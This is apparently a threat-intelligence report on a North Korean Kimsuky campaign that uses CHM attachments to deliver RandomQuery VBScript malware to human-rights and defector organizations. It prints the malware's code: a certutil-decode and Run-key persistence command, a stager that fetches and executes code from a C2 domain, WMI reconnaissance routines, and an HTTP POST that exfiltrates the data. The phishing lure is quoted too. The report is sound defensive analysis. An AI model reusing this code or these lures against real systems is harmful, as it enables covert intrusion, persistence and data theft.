

# Kimsuky | Ongoing Campaign Using Tailored Reconnaissance Toolkit

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## Executive Summary

- SentinelLabs has observed an ongoing campaign by Kimsuky, a North Korean APT group, targeting North Korea-focused information services, human rights activists, and DPRK-defector support organizations.
- The campaign focuses on file reconnaissance and information exfiltration using a variant of the RandomQuery malware, enabling subsequent precision attacks.
- Kimsuky distributes RandomQuery using Microsoft Compiled HTML Help (CHM) files, their long-running tactic for delivering diverse sets of malware.
- Kimsuky strategically employs new TLDs and domain names for malicious infrastructure, mimicking standard .com TLDs to deceive unsuspecting targets and network defenders.

## Overview

SentinelLabs has been tracking a targeted campaign against information services, as well as organizations supporting human rights activists and defectors in relation to North Korea. The campaign focuses on file reconnaissance, and exfiltrating system and hardware information, laying the groundwork for subsequent precision attacks. Based on the infrastructure used, malware delivery methods, and malware implementation, we assess with high confidence that the campaign has been orchestrated by the Kimsuky threat actor.

Kimsuky is a suspected North Korean advanced persistent threat (APT) group known for targeting organizations and individuals on a global scale. Active since at least 2012, the group regularly engages in targeted phishing and social engineering campaigns to collect intelligence and gain unauthorized access to sensitive information, aligning with the interests of the North Korean government.

Lately, Kimsuky has been consistently distributing custom malware as part of reconnaissance campaigns to enable subsequent attacks. For example, we recently revealed the group's distribution of [ReconShark](#) through macro-enabled Office documents.

The campaign we discuss in this post indicates a shift towards using a variant of the [RandomQuery](#) malware that has the single objective of file enumeration and information exfiltration. This stands in contrast to recently [observed](#) RandomQuery variants supporting a wider array of features, such as keylogging and execution of further specialized malware.

RandomQuery is a constant staple in Kimsuky's arsenal and comes in various flavors. This campaign specifically uses a VBScript-only implementation. The malware's ability to exfiltrate valuable information, such as hardware, operating system, and file details, indicates its pivotal role in Kimsuky's reconnaissance operations for enabling tailored attacks.

This campaign also demonstrates the group's consistent approach of delivering malware through CHM files, such as keylogging and clipboard content theft [malware](#). In line with their modus operandi, Kimsuky distributes the

RandomQuery variant we observed through this vector.

Finally, this campaign highlights Kimsuky’s recent extensive use of less common top-level domains (TLDs) for their infrastructure, such as .space, .asia, .click, and .online. The group also uses domain names that mimic standard .com TLDs, aiming to appear legitimate.

## Initial Targeting

Kimsuky makes use of specially crafted phishing emails to deploy RandomQuery. The phishing emails are sent to targets from an account registered at the South Korean email provider Daum, a standard Kimsuky phishing practice. Recent sender email addresses include bandi00413[ @ ]daum.net.

The phishing emails, written in Korean, request the recipient to review an attached document claiming to be authored by Lee Kwang-baek, the CEO of Daily NK. Daily NK is a prominent South Korean online news outlet that provides independent reporting on North Korea, making them a prime organization for impersonation by DPRK threat actors looking to appear legitimate.

```
안녕하세요?
김부한 의원은 DailyNK 이광백 대표님이 북한을 대상으로 작성한 것인데요.
시간이 가능하신지 모르겠는데, 읽어보시고 조언과 가르치심을 주시면 감사하겠습니다.....
자료보안을 특별히 부탁드립니다~
Password: DailyNK2023@
이도건 드림.
```

Kimsuky phishing email (in Korean)

The attached document is a CHM file stored in a password-protected archive. Aligning with the targeting focus of Kimsuky in this campaign, the lure document is entitled “Difficulties in activities of North Korean human rights organizations and measures to vitalize them” and presents a catalog of challenges pertaining to human rights organizations.

# 북한인권단체 활동의 어려움과 활성화 방안

## 이광백 통일미디어 & DailyNK 대표

### 1. 북한 문제

- 1) 북한핵 문제 - 한국 사회의 안전보장과 한반도 및 세계 평화 문제
- 2) 북한 주민의 자유와 권리 침해 문제 - 전 세계인이 협력해 해결해야할 보편적인 인권 문제
- 3) 한반도 분단과 통일, 그리고 남북관계 문제 .

Lure document snippet (in Korean)

Consistent with known Kimsuky tactics, the CHM file contains a malicious Shortcut object that activates on the Click event. The object:

- Creates a Base-64 encoded file in the %USERPROFILE%\Links\ directory, such as mini.dat.
- Decodes the file using the certutil utility, creating a VB script, and then stores the script in a separate file, such as %USERPROFILE%\Links\mini.vbs.
- Establishes persistence by editing the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key, such that the newly created VB script is executed at system startup.

```
<OBJECT id=shortcut classid="[...]" width=1 height=1>
<PARAM name="Command" value="Shortcut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=',cmd, /c echo T24gRXJyb3IyZ3I...
> "%USERPROFILE%\Links\mini.dat" & start /MIN certutil -decode "%USERPROFILE%\Links\mini.dat"
"%USERPROFILE%\Links\mini.vbs" & start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
/v mini /t REG_SZ /d "%USERPROFILE%\Links\mini.vbs" /f'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
```

Shortcut object

The VB script issues a HTTP GET request to a C2 server URL, for example, http[ : / / ]file.com-port.space/indeed/show[ . ]php?query=50, and executes the second-stage payload returned from the server. Based on overlaps in code documented in previous work, we assess that the second-stage payload is a VBScript RandomQuery variant.

```

On Error Resume Next
Set mx = CreateObject("Microsoft.XMLHTTP")
mx.open "GET", "http://file.com-port.space/indeed/show.php?query=50", False
mx.Send
Execute(mx.responseText)

```

Execution of a RandomQuery variant

## Dissecting RandomQuery

The RandomQuery variant that Kimsuky distributes first configures the Internet Explorer browser by editing registry values under HKCU\Software\Microsoft\Internet Explorer\Main:

- Sets `Check_Associations` to `no`: The system does not issue a notification if Internet Explorer is not the default web browser.
- Sets `DisableFirstRunCustomize` to `1`: Prevents Internet Explorer from running the `First Run` wizard the first time a user starts the browser.

RandomQuery also sets the registry value `HKCU\Software\Microsoft\Edge\IEToEdge\RedirectionMode` to `0`, which stops Internet Explorer from redirecting to the Microsoft Edge browser.

```

Const hk = &H80000001
regdir = "Software\Microsoft\Internet Explorer\Main"
With GetObject("winmgmts:\root\default:StdRegProv")
    .SetStringValue hk, regdir, "Check_Associations", "no"
    .SetDwordValue hk, regdir, "DisableFirstRunCustomize", 1
    .SetDwordValue hk, "Software\Microsoft\Edge\IEToEdge", "RedirectionMode", 0
End With

```

RandomQuery configures Internet Explorer

These Internet Explorer configurations enable the uninterrupted use of the browser by RandomQuery, whose earlier variants are known to use the `InternetExplorer.Application` object when communicating with C2 servers. However, the RandomQuery variant we analyzed does not use this object, but leverages `Microsoft.XMLHTTP` for this purpose.

RandomQuery then proceeds to gather and exfiltrate information about the infected platform, structured into three classes that the malware refers to as `Basic System`, `Specific Folder`, and `Process List`.

The malware first gathers system and hardware information using the `Win32_ComputerSystem`, `Win32_OperatingSystem`, and `Win32_Processor` WMI classes, such as: computer name, processor speed, OS version, and the amount of physical memory available to the system. RandomQuery refers to this information as `Basic System` information.

```

Set ow = GetObject("winmgmts:")
Set ow_sys = ow.InstancesOf("Win32_ComputerSystem")
For Each ob in ow_sys
    With ob
        str_tmp = "ComputerName: " & .Caption & vbNewLine & _
                "OwnerName: " & .PrimaryOwnerName & vbNewLine & _
                "Manufacturer: " & .Manufacturer & vbNewLine & _
                "ComputerModel: " & .Model & vbNewLine & _
                "SystemType: " & .SystemType & vbNewLine
    End With
Next

Set ow_os = ow.InstancesOf("Win32_OperatingSystem")
For Each ob in ow_os
    With ob
        str_tmp = str_tmp & "OperationSystem: " & .Caption & vbNewLine & _
                "OS Version: " & .Version & " (" & .BuildNumber & ")" & vbNewLine & _
                "TotalMemory: " & CStr(CInt(.TotalVisibleMemorySize / 1024)) & "MB" & vbNewLine
    End With
Next

Set ow_proc = ow.InstancesOf("Win32_Processor")
For Each ob in ow_proc
    str_tmp = str_tmp & "Processor: " & ob.Caption & " " & _
            CStr(ob.CurrentClockSpeed) & "MHz" & vbNewLine
Next
SyInf = "+++++++ Basic System ++++++" & vbNewLine & _
        str_tmp & vbNewLine

```

RandomQuery gathers `Basic System` information

RandomQuery then enumerates subdirectories and files within particular directories by specifying them using ID numbers of the Windows `ShellSpecialFolderConstants` enumeration: Desktop (ID 0); Documents (ID 5, for example, `C:\Users\[username]\Documents`); Favorites (ID 6, for example, `C:\Documents and Settings\[username]\Favorites`); Recent (ID 8, for example, `C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Recent`); Program Files (ID 38, for example,

C:\Program Files); Program Files (x86) (ID 42, for example, C:\Program Files (x86) on 64-bit platforms); and %USERPROFILE%\Downloads (ID 40, for example, C:\Users\[username]\Downloads).

The malware refers to this information as *Specific Folder* information: It provides the attackers with a wealth of user- and platform-related information, such as installed applications, user document details, and frequented websites.

```
idx = Array(0,5,6,8,38,42)
For i = LBound(idx) To UBound(idx)
    str_tmp = str_tmp & SpDir(idx(i), "")
Next
str_tmp = str_tmp & SpDir(40, "\Downloads")
FInf = "+++++++ Specific Folder ++++" & vbNewLine & _
    str_tmp & vbNewLine
RandomQuery gathers Specific Folder information
```

RandomQuery also enumerates the process and session IDs of running processes using the `Win32_Process` WMI class. The malware refers to this information as *Process List* information.

```
Set ow_cim = GetObject("winmgmts:\root\cimv2")
Set plist = ow_cim.ExecQuery("Select * from Win32_Process")
str_tmp = ""
For Each ob in plist
    str_tmp = str_tmp & ob.Name & vbTab & vbTab & vbTab & _
        ob.ProcessID & vbTab & _
        ob.SessionID & vbNewLine
Next
QProc = "+++++++ Process List ++++" & vbNewLine & _
    "Process" & vbTab & vbTab & vbTab & "ProcessID" &
    vbTab & "SessionID" & vbNewLine & _
    str_tmp & vbNewLine
RandomQuery gathers Process List information
```

To exfiltrate the gathered information, RandomQuery first Base64-encodes it, and then constructs and issues an HTTP POST request containing the information to a C2 server URL (for example, `http[:]file.com-port.space/indeed/show[.]php?query=97`). We observed that the C2 URLs RandomQuery uses for exfiltration overlap with the URLs from which RandomQuery itself is downloaded, with a difference in the value of the query parameter.

```
bnd = "---c2xkanZvaXU40TA"
pd = "--" & bnd & vbNewLine & _
    "Content-Disposition: form-data; name=""MAX_FILE_SIZE"" & vbNewLine & vbNewLine & _
    "1000000" & vbNewLine & _
    "--" & bnd & vbNewLine & _
    "Content-Disposition: form-data; name=""file""; filename=""Info.txt"" & vbNewLine & _
    "Content-Type: text/plain" & vbNewLine & vbNewLine & _
    p_data & vbNewLine & _
    "--" & bnd & "--"
with CreateObject("Microsoft.XMLHTTP")
    .open "POST", "http://" & p_ui & "/show.php?query=97", False
    .setRequestHeader "Content-Type", "multipart/form-data; boundary=" & bnd
    .send pd
end with
RandomQuery exfiltrates information
```

The variants we analyzed use `c2xkanZvaXU40TA` as a boundary string separating header values from the exfiltrated information stored in the POST request. Pivoting on this string enabled us to identify additional RandomQuery variants used by Kimsuky in the past. This is a further indication of the threat group consistently using this malware in its targeted campaigns.

These variants differ to various extents from those we observed in Kimsuky's latest campaign. This includes features such as enumeration of deployed security products, focus on Microsoft Word documents when enumerating files, and execution of additional malicious code. Kimsuky continuously adapts its RandomQuery arsenal to the task at hand, with the current iteration focussing on information exfiltration and file reconnaissance.

## Infrastructure

Kimsuky has made extensive use of less common TLDs during their malicious domain registration process. In [our recent reporting](#) on Kimsuky's ReconShark activity, we noted multiple clusters of malicious domains which made use of the same technique.

